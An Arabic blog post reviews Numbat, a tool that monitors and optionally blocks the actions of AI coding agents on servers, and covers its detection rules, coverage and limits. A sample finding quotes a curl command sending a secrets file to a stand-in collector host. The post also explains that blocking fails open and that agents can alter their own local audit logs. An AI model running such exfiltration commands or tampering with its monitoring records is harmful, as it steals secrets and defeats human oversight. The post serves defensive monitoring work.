Numbat: راقب ما تفعله وكلاء الذكاء الاصطناعي
تسجّل Numbat ما تنفّذه وكلاء البرمجة على خوادمك عبر hooks وملفات الجلسات، وتكشف ما تراه الأداة وما لا تستطيع منعه.
ما هو Numbat
يمنحك Numbat رؤية واضحة لما نفّذه وكيل ذكاء اصطناعي على جهاز تملكه. يقرأ callbacks الخاصة بالـhooks وملفات الجلسات التي تنتجها agents البرمجية مسبقاً، ويطبّعها في صيغة موحّدة للأحداث، ثم يطابقها مع قواعد تُفعَّل عند سلوكيات مثل قراءة مفتاح SSH الخاص أو تمرير تنزيل مباشرةً إلى shell. أطلقت Perplexity البرنامج كمصدر مفتوح بموجب Apache 2.0، وكان أول إصدار موسوم له في 29 July 2026.
تأتي جميع المعلومات أدناه من مستودع المشروع ووثائقه الخاصة، وقد قُرئت في 2 August 2026. وأُعيد التحقق من سجل الإصدارات ومتطلبات التثبيت ومخطط السجلات وتغطية agents بالرجوع إلى المستودع في 12 October 2026. وعندما تقدم Perplexity ادعاءً، يوضح هذا المنشور ذلك. هذا ليس درساً لتثبيت البرنامج، لأن المستودع لا يزال حديثاً وستتغير أوامره.
المشكلة: لا أحد يسجّل ما فعله الوكيل
يشغّل وكيل برمجي على VPS أوامر shell، ويقرأ الملفات، ويكتبها، ويفتح اتصالات شبكية، وكل ذلك باسم المستخدم الذي منحته له. لا يسجّل سجل shell أيّاً من هذه الأفعال، لأن الوكيل لا يكتب داخل shell الخاص بك. يسجّل sshd تسجيل دخولك فقط، ولا يسجّل ما قرر النموذج فعله بعد ذلك. ولا يصدر /var/log/auth.log أي سجل إلا إذا وصل شيء إلى sudo. يحتفظ الوكيل بسجل محادثته الخاص، لكن هذا الملف يوجد في دليل جلسة الوكيل، ويتغير تنسيقه بين الإصدارات، كما يمكن لعملية الوكيل نفسها الكتابة فيه.
لذلك، عندما يسأل أحدهم عمّا إذا كان الوكيل قد قرأ .env.production يوم الثلاثاء الماضي، فالإجابة الصادقة على معظم الخوادم هي أنك لا تستطيع معرفة ذلك. هذه الفجوة هي سبب وجود هذا المشروع.
ما الذي تقول Perplexity إن Numbat يفعله
تبدأ README بوصف الأداة بأنها «إتاحة رؤية على مستوى نقطة النهاية لنشاط وكيل الذكاء الاصطناعي، مع اكتشاف محلي، وحظر اختياري قبل الإجراء، وإعادة بناء جنائية». المقصود بنقطة النهاية هنا هو الجهاز الذي يعمل عليه الوكيل، وليس جهازاً شبكياً يراقب من الخارج. هذه قدرات منفصلة، ولكل منها وزن مختلف.
يعمل الاكتشاف على الجهاز. تُكتب القواعد بلغة CEL (لغة التعبيرات العامة) وتُقيَّم محلياً، مع دعم قواعد التسلسل متعددة الخطوات، ودعم القواعد التي تكتبها بنفسك بصيغة YAML. لا يلزم أن يغادر أي شيء الجهاز حتى تُفعَّل القاعدة.
الحظر اختياري ومحدود النطاق. لا يعمل إلا من خلال خطافات متزامنة تسبق الإجراء، وعلى الوكلاء الذين يوفّرون هذا النوع من الخطافات، ويظل معطّلاً إلى أن تفعّله.
تحدث إعادة البناء بعد وقوع النشاط. يحلل numbat scan ملفات جلسة كتبها الوكيل مسبقاً على القرص، ولذلك يمكنك فحص النشاط الذي سبق تثبيت أي مكوّن. يحرص المشروع على تحديد هذا الادعاء: «إعادة البناء من البيانات الساكنة ليست acquisition للقرص أو الذاكرة، ولا يمكنها استرداد نشاط لم يحفظه الوكيل».
يأتي الإخراج بصيغة NDJSON ذات إصدار (JSON محدد بفواصل أسطر)، ويغطي الأحداث، والنتائج، وقرارات الإنفاذ، والمؤشرات، وملخصات الفحص، وكان إصدار المخطط 0.2.0 في الإصدار v0.1.2. وقد تغيّر المخطط منذ ذلك الحين: ففي 12 October 2026 كان المستودع يحتوي على إصدارات المخطط 0.2.0 و0.3.0 و0.4.0، وكانت أمثلة السجلات في README تعرض الإصدار 0.4.0. تُرسل السجلات إلى stdout أو إلى ملف محلي، ويمكن أيضاً إرسالها عبر HTTP إلى جامع تشغّله بنفسك. تُوزَّع الأداة في صورة ملف Go ثنائي ثابت واحد، مبني من دون cgo، لأنظمة macOS وLinux وWindows على amd64 وarm64. لذلك تكون على VPS يعمل بنظام Linux ملفاً واحداً، ولا تحتاج إلى تثبيت بيئة تشغيل مسبقاً.
ما الوكلاء الذين يستطيع Numbat رؤيتهم فعلياً؟
تُعد مصفوفة التغطية في docs/agent-coverage.md القائمة المعتمدة، وهي غير متجانسة. يوضح المشروع ذلك صراحةً بدلاً من إخفائه. يوفّر Claude Code وCodex وGemini CLI وCursor وGitHub Copilot CLI كلاً من فحص العناصر والتقاط البيانات مباشرةً باستخدام pre-action hook. ويحصل OpenClaw على إضافة أصلية بدءاً من الإصدار 2026.7.1. وتظهر مجموعة كبيرة من الإدخالات بالحالة المؤجلة، ما يعني وجود مسار live hook، لكن دون محلل للعناصر، غالباً لأن ذلك الوكيل يخزّن سجله في SQLite باستخدام write-ahead log لا يمكن قراءته بأمان أثناء تشغيل الوكيل. ينتمي Cline CLI إلى هذه المجموعة؛ إذ تعمل live hooks الخاصة به، لكن لا يجري تحليل جلسات SQLite الخاصة به. أما OpenCode فحالة مقسّمة. تحلل المصفوفة في الإصدار v0.1.2 مخازن JSON الأقدم الخاصة به، وتؤجل فقط قاعدة بيانات opencode.db الحالية. ولا تذكر المصفوفة أي pre-action enforcement لـOpenCode، كما أن المصفوفة في main كانت لا تزال تذكر ذلك في 12 October 2026.
تحقق من صف الوكيل الذي تستخدمه قبل أن تخطط لأي شيء بالاعتماد على هذه الأداة، لأن معنى «مدعوم» يختلف تقريباً في كل سطر.
كيف يبدو الاكتشاف
تحتوي القواعد على معرّفات توضّح الغرض منها. تغطي secrets.read_private_key مفتاح SSH أو بيانات اعتماد AWS أو إعداد kube أو بيانات تسجيل الدخول إلى سجل الحزم. تُطلِق exec.download_pipe_shell تنبيهاً عندما تُمرَّر مخرجات curl أو wget عبر pipe إلى مفسّر. تلتقط privilege.elevated_shell طلباً للحصول على shell تفاعلي بحساب root عبر sudo أو doas أو su أو pkexec. تطابق impact.cryptomining_launch ملفات miner الثنائية وأسماء الصور المعروفة.
تجمع قواعد التسلسل الأحداث داخل جلسة واحدة. تتطلب chain.secret_read_then_egress قراءة ملف سري تتبعها أداة تحمل البيانات إلى الخارج. يعرض README النتيجة التالية من إعادة تشغيل مضبوطة لاثنين من callbacks الخاصة بالإجراء السابق في Claude Code، وليس من حادثة مباشرة. وقد اختُصرت هنا إلى الحقول المهمة:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}لاحظ وجود "confidence": "medium" داخل السجل، ولاحظ ما يقوله المشروع عن فئة المخرجات بأكملها: "النتائج هي تطابقات للقواعد، وليست دليلاً على اختراق." سيطابق نص نشر يقرأ مفتاحاً ثم يرفع artifact للبناء قاعدة التسلسل نفسها. يكون التطابق صحيحاً، بينما يكون التنبيه خاطئاً، وهذا هو الوضع المعتاد في كل أداة اكتشاف استخدمتها من قبل.
الحظر معطّل افتراضياً، وعند الفشل يُسمح بالمرور
كل قاعدة يصدّرها Numbat مخصّصة للمراقبة فقط. تحويل قاعدة إلى قاعدة حظر يتطلب إجراءً مقصوداً: انسخ YAML الكامل للقاعدة إلى دليلك الخاص، وأبقِ على المعرّف نفسه، وأضف enforce: true، ثم زد الإصدار، وبعد ذلك تحقّق من هذه السياسة وثبّتها.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceننتقل الآن إلى الجزء الذي يحدد مدى الثقة التي ينبغي أن تمنحها له. إن deny في Numbat هو استجابة تُعاد إلى الوكيل، والوكيل هو الذي يرفض استدعاء الأداة فعلياً. يوضح دليل الإنفاذ مباشرة ما يحدث عند وجود مشكلة في Numbat نفسه: «تمنع الحمولات غير الصحيحة، وأخطاء التقييم ذات الصلة، وحالات panic، وفشل الإخراج إرسال deny من numbat». يقتصر إدخال hook على 4 MiB، ويسلك الإدخال الذي يتجاوز هذا الحجم المسار نفسه.
ويوضح الدليل بقدر مماثل حدّ deny الذي يصل فعلاً: «يعني Fail-open أن numbat يحجب استجابة deny الخاصة به. ولا يضمن ذلك تنفيذ الأداة؛ فقد يطلب المضيف تأكيداً، أو يرفض، أو تنتهي مهلة الانتظار، أو يطبّق hook أو سياسة أخرى».
لذلك، فإن الإنفاذ هنا وسيلة حماية، وليس حداً أمنياً. إذا تعطّلت العملية، فلن يحظر Numbat الإجراء، لأن أداة مراقبة توقف وكيلك في كل مرة تواجه فيها مشكلة ستُزال خلال أسبوع. هذه مفاضلة معقولة. لكن لا تبنِ نموذجاً أمنياً يفترض أن deny يصل دائماً.
مكان Numbat إلى جانب ما تستخدمه بالفعل
يعمل Numbat على نقطة النهاية، داخل شجرة عمليات الوكيل نفسه، ويكتب إلى ~/.numbat/records.ndjson افتراضياً. يمكن لوكيل يعمل بصفته المستخدم الخاص بك قراءة ذلك الملف. ويمكنه أيضاً تعديله. لا تساوي مسارات التدقيق أكثر من مستوى العزل المحيط بها، ولذلك يجب أن تسبقها كل وسائل التحكم الموجودة لديك، لا أن تعتمد عليها.
منح وكيل البرمجة جهازاً افتراضياً مؤقتاً يحدّ من الموارد التي يمكن لتشغيل ضار الوصول إليها. استخدام مستخدم بصلاحيات أقل على VPS يمنع الوكيل من الوصول إلى الملفات التي لا يحتاج إلى فتحها. إبعاد بيانات الاعتماد عن سياق الوكيل هو ما يجعل secrets.read_private_key نادراً بما يكفي ليستحق القراءة عند تشغيله. ولا يزال الـsandbox الذي أعددته لـ Claude Code على VPS هو المسؤول عن العزل. يحدّ العزل من الموارد التي يمكن لتشغيل ضار لمسها، بينما تدوين سبب تشكيل الكود بهذه الطريقة يقلل عدد المرات التي ينفذ فيها الوكيل شيئاً مفاجئاً بما يكفي لدفعك إلى مراجعة السجل.
ما يضيفه Numbat هو السجل، لذلك أرسل السجل إلى مكان لا يستطيع الوكيل الوصول إليه. وُجد numbat ship وHTTP sink لهذا الغرض. إن وجود نسخة من الدفق على جهاز ثانٍ هو الفرق بين ملف سجل ودليل. كما يحمل نموذج الأحداث حقول MCP (بروتوكول سياق النموذج)، لذلك تصل استدعاءات الأدوات التي تخرج عبر خادم MCP تستضيفه على VPS إلى الدفق نفسه الذي تصل إليه أوامر shell المحلية. وهذا مهم لأن هذا المسار غير مرئي لأي شيء يراقب bash فقط. وتنطبق نقطة الضعف نفسها على مثيل SearXNG الموصل ليعمل كواجهة بحث للوكيل، حيث يصل الخطر على هيئة نص صفحة غير موثوق يدخل إلى سياق النموذج، لا على هيئة أمر يمكن لأي قاعدة مطابقة له اكتشافه.
جرّبه بوضع القراءة فقط أولاً
ثبّت إصداراً محدداً. يثبّت الأمر أدناه الإصدار v0.1.2، ويطلب ملف README الخاص به Go 1.26.5 أو أحدث. أما ملف README في الفرع main، فكان يطلب Go 1.26.6 أو أحدث في 12 October 2026. وصل هذا التغيير مع الإصدار v0.2.0، لذلك استخدم 1.26.6 إذا ثبّتَّ وسمًا أحدث. تتضمن صفحة الإصدارات ملفات تنفيذية مبنية مسبقاً مع قيم SHA-256 للتحقق، إذا كنت تفضّل عدم البناء من المصدر.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scanيكتشف numbat agents الوكلاء المثبّتين على الخادم. ويحلّل numbat scan عناصر جلسات العمل الموجودة مسبقاً على القرص، ثم يطبع السجلات. يذكر ملف README أن هذه الأوامر «لا تثبّت hooks ولا تغيّر إعدادات الوكلاء»، وأن numbat «لا ينفّذ الوكلاء أو الأوامر الموجودة في العناصر، ولا يجري طلبات صادرة إلا إلى HTTP sinks المهيّأة». يجري الفحص بوضع القراءة فقط مع إخفاء الأسرار، ولا يتضمن إخراج السجلات العادي نسخة خام كاملة من أي transcript.
الالتقاط المباشر هو الخطوة التالية، لكنه يغيّر إعدادات الوكلاء:
numbat hook install --agent codex --emit all
numbat hook status --agent codexيكتب --emit all الأحداث والنتائج والمؤشرات وقرارات enforcement المنطبقة إلى ~/.numbat/records.ndjson. ويورد المشروع تحذيرين مباشرين. قد يلزم الوثوق بـhooks داخل الوكيل قبل تشغيلها أصلاً، ويجب مراجعة هذا الوثوق مرة أخرى بعد تغيير flags مثل --enforce. كما أن hook status «يتحقق من الإعدادات، وليس من التنفيذ أو التسليم»، لذلك لا يثبت ظهور سطر حالة سليم أن السجلات تصل إلى أي وجهة.
لماذا لا يُعد مستودع حديث بهذا الشكل اعتماداً
اعتباراً من 12 October 2026، كانت الإصدارات العامة هي v0.1.1 في 29 July 2026، وv0.1.2 في 1 August 2026، وv0.2.0 في 17 August 2026، ويعرضها قسم الإصدارات على أنها الأحدث. كان عدد نجوم المستودع 597 عندما كُتب هذا المنشور في 2 August 2026. تعكس هذه الزيادة السريعة جمهور Perplexity، لا مدى صمود الشيفرة في الاستخدام. يعني وضع نجمة أن شخصاً ما حفظ الصفحة للعودة إليها لاحقاً.
رقم الإصدار يوضح بصدق المرحلة التي يوجد فيها المشروع. تتركز ملاحظات v0.1.2 أساساً على إصلاحات حجب بيانات الاعتماد، إلى جانب أعمال توحيد حزم الحالات وبيانات القياس. وتضيف ملاحظات v0.2.0 التقاطاً محدوداً لمحتوى الرسائل، وفرض قراءة الملفات في Cursor عبر الخطاف beforeReadFile الخاص به، ومزيداً من إصلاحات الحجب. وتُعد أخطاء الحجب النمط المتوقع للعيوب المبكرة في أداة مهمتها قراءة سجلات محادثات البرامج الأخرى بأمان. وستظهر أخطاء أخرى، لأن المدخلات تأتي من عشرات الوكلاء الذين يغيّر كل منهم تنسيقه وفق جدوله الخاص.
تترتب على ذلك قاعدتان عمليتان. ثبّت الوسم، ولا تثبّت @latest، في أي شيء تحتفظ به. وتعامل مع الأداة بوصفها أداة تقيّمها، لا عنصراً تعتمد عليه في التحكم، على الأقل إلى أن يتوقف مخطط السجلات عن التغيّر. لم يتوقف بعد: انتقل من 0.2.0 في v0.1.2 إلى 0.4.0 في README على main خلال نحو عشرة أسابيع.
FAQ
هل يحظر Numbat أوامر وكلاء الذكاء الاصطناعي الخطرة؟
فقط إذا فعّلت ذلك، وفقط على أساس أفضل جهد. كل قاعدة يوفّرها Numbat تكون للمراقبة فقط. للحظر، انسخ YAML الخاص بالقاعدة إلى مجلدك، واحتفظ بالمعرّف الخاص بها، وأضف enforce: true، وزِد رقم الإصدار، وثبّت hook باستخدام --enforce. حتى عندئذ، يكون الرفض استجابة تُرسل إلى الوكيل، والوكيل هو الذي يرفض الاستدعاء. يوثّق المشروع سلوك الفتح عند الفشل: إذ تؤدي الحمولة غير الصحيحة، وأخطاء التقييم، وحالات panic، وفشل الإخراج جميعها إلى منع الرفض. استخدمه كإجراء وقائي، وليس كحدّ الحماية الوحيد.
ما وكلاء الذكاء الاصطناعي الذين يدعمهم Numbat؟
يختلف نطاق الدعم حسب الوكيل، وهو مذكور في docs/agent-coverage.md داخل المستودع. كان كل من Claude Code وCodex وGemini CLI وCursor وGitHub Copilot CLI يدعم فحص artifacts والتقاط الأحداث المباشرة عند قراءة تلك الصفحة في 2 August 2026، كما يتوفر لـOpenClaw plugin أصلي منذ الإصدار 2026.7.1. تُدرج وكالات أخرى كثيرة مع مسار hook مباشر، ولكن من دون parser لـartifacts حتى الآن، وغالباً لأن سجل جلساتها موجود في قاعدة بيانات SQLite لا يمكن قراءتها بأمان أثناء تشغيل الوكيل. اقرأ الصف الخاص بوكيلك، لأن كلمة "مدعوم" تشمل هناك مستويات مختلفة عدة.
هل يستطيع الوكيل العبث بسجلات Numbat؟
نعم، إذا كان يعمل كمستخدم نفسه. تُحفظ السجلات افتراضياً في ~/.numbat/records.ndjson على الجهاز نفسه الذي يعمل عليه الوكيل، ولذلك يستطيع أي شيء يملك صلاحية الكتابة إلى ذلك المسار تغييرها أو حذفها. أرسل stream إلى collector لا يستطيع الوكيل الوصول إليه، باستخدام numbat ship أو HTTP sink، واحتفظ بالملف المحلي كنسخة مريحة. وهذا أيضاً سبب تكامل الأداة مع العزل بدلاً من استبداله. فالوكيل المحصور داخل VM مؤقتة وتحت مستخدم ذي أقل قدر من الصلاحيات يملك قدرة أقل بكثير على الوصول إلى سجل التدقيق الخاص به.
هل أصبح Numbat جاهزاً لخادم إنتاج؟
ليس كعنصر تحكم تعتمد عليه. كان الإصدار العام الأول v0.1.1 في 29 July 2026، وتلاه v0.1.2 في 1 August 2026 ثم v0.2.0 في 17 August 2026، وبحلول 12 October 2026 كان مخطط السجلات في README قد وصل إلى 0.4.0، ولذلك لا تزال كل من flags ومخطط السجلات قيد التغيير. إن تشغيل numbat agents وnumbat scan على جهاز لا يغيّر البيانات ومنخفض المخاطر، وسيخبرك بما تركه وكلاؤك على القرص. أما تثبيت enforcement hooks على خادم مهم فهو قرار مختلف، ويحتاج إلى tag مثبت وخطة لما يحدث عندما يتصرف hook بصورة خاطئة.